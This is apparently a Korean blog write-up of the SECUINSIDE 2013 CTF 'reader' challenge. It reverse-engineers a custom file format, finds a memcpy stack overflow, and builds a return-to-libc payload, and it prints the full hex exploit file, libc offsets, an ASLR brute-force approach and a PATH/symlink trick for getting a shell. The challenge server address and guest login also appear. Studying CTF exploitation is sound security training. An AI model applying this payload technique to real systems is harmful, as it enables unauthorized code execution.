본문 바로가기

Games/CTF

SECUINSIDE 2013 reader

http://war.secuinside.com/files/reader


ip : 59.9.131.155

port : 8282 (SSH)

account : guest / guest


We have obtained a program designed for giving orders to criminals.


Our investigators haven't yet analyzed the file format this program reads.


Please help us analyze the file format this program uses, find a vulnerability, and take a shell.


SSH 계정과 어떠한 포맷의 파일을 입력받아 처리하는 프로그램이 주어짐

exploit 해서 쉘을 따면 됨. ASLR, NX 걸려있음.



main 은 아래처럼 간단하다.


argv[1] 로 파일명을 전달해주면 이를 열어서 처리하고 끝난다.


아래는 파일을 열기전에 파일명을 받아서 뭔가 확인하는 함수인데

파일명을 16바이트 스택버퍼에 복사하지만 canary 가 걸려있다.

또한 파일명의 확장자가 .sec 가 아니면 invalid file extension 을 출력한다.



sub_80487ba 에서 파일명을 버퍼에 복사하는데 아래처럼 무제한으로 복사한다.

하지만 canary 가 걸려있어서 exploit 할수없다.

또한 복사한 파일명은 아무곳에도 안쓰이는걸로 보아 함정인거같다.


아래는 file 을 열어서 메모리상으로 로딩하는 함수이다.


이부분을 분석하면 아래와같다. 


파일매직 12바이트는 \xffSECUINSIDE\x00 이어야함.

파일내용을 읽어올 버퍼는 136바이트 스택버퍼.


버퍼오프셋 32 에 파일오프셋 12부터 50바이트만큼 읽음

버퍼오프셋 83 에 파일오프셋 62부터 50바이트만큼 읽음


파일오프셋 112부터 4바이트 읽음(FF FF FF FF 이어야함)

파일오프셋 116, 120, 124, 128 에서 4바이트씩 읽음. 각각 버퍼 0, 4, 8, 12 째에 들어감.

파일에서 1바이트 더 읽음 -> 버퍼 16바이트째에 들어감


버퍼오프셋별로 읽은 5개의 수는 

0. 5 이상 50이하 -> a2+20 의 malloc 사이즈

4. 100이하 -> a2+24 의 malloc 사이즈

4. 800이하 -> a2+28 의 malloc 사이즈

16. 0이 아닌 수.(1바이트)


이렇게 되어야함.


전역변수 ptr 은 a2+24 에 있는 malloc 포인터가됨.

3개의 malloc 된 공간에 각각 그 사이즈만큼 파일에서 읽어옴.


버퍼 24 의 malloc 포인터를 s(ebp-0x20) 로 덮어씀(원본은 ptr에..)



그리고 나서 아래와같은 함수를 호출



v1 에 a1+83 버퍼의 strlen 을 구하고 (최대 50)

ptr 이 가리키는 버퍼를 a1+24 인 32바이트 스택버퍼에 v1만큼 복사(18바이트 오버플로우)



memcpy(s, ptr, strlen(ptr)) 수행.(버퍼오버플로우 s[32] <- ptr[50])


따라서 아래처럼 페이로드를 만들면 되는데(정확히는 20바이트가 필요하지만 마지막 0 이 스택에 있어주길 기대하고...)

[&system][0xDEADBEEF][&"sh"][0]


ldd 로 확인을 좀 해보니 어느정도 libc 올라가는 범위가 나온다.


libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7562000)


libc 상에서 "sh" 도 찾고 system 도 찾아서...(어떻게 찾는지는 여기 설명없음)


Found offset : e3b6(0xb76223b6), ["sh"]

Found offset : 41280(0xb7594280) [system]


system 시그니쳐.

\x83\xec\x1c\x89\x74\x24\x14\x8b\x74\x24\x20\x89\x5c\x24\x10\xe8\x4f\xc3\x0e\x00\x81\xc3\x6c\xdd


system : 0xb7562000 + 0x41280 = B75A3280

sh : 0xb7562000 + 0xe3b6 = B75703B6


아래처럼 파이널 익스플로잇을 만들고 ASLR 이 힛되기를 기다렸다...


final exploit.

\x80\x32\x5a\xb7\x41\x41\x41\x41\xb6\x03\x57\xb7\x00\x00\x00\x00


이를 input 파일상에 적용하고 브루트포스...


\xFF\x53\x45\x43\x55\x49\x4E\x53\x49\x44\x45\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x80\x32\x5A\xB7\x41\x41\x41\x41\xB6\x03\x57\xB7\x00\x00\x00\x00\x42\x42\xFF\xFF\xFF\xFF\x05\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x00\x00\x43\x35\x35\x35\x35\x35\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55


하다보니 아래처럼 system 이 호출되긴 했는데 "1" 이라는 명령을 찾을수 없다고한다 -_-;;

"sh" 오프셋을 잘못계산했는지 확인하고 계속 디버깅을 했는데...


sh: 1: : not found

Segmentation fault


디버깅하다보니 18바이트까지 덮어써지지 않고 무슨 이유에선지 14 바이트까지만 덮어지는 바람에

system 의 첫번째 파라미터를 제어할수가 없었다... 그런데 디버깅하다보니 이곳에 항상 내가 파일상에

명시하는 데이터중 하나가 가리켜지고 있었다. -_-


일단 시스템 주소는 맞았고, 파라미터 전달만 안되는것이므로...

시간이 없으니 왜그런지 자세한분석은 안하고 그곳에 "1" 이 들어가도록 해놓은다음


ln -s /tmp/meltdown/1 /bin/sh 로 심볼릭 링크를 걸어놓고,


export PATH = $PATH:/tmp/meltdown


으로 환경변수를 세팅한다음 브루트포싱을 해서 아래처럼 쉘을 획득했다 -_-





'Games > CTF' 카테고리의 다른 글

HDCON 2013 level3  (0) 2013.06.11
HDCON 2013 level1  (0) 2013.06.11
SECUINSIDE 2013 127.0.0.1  (2) 2013.05.28
SECUINSIDE 2013 givemeshell  (0) 2013.05.28
PlaidCTF 2013 ropasaurusrex  (5) 2013.04.23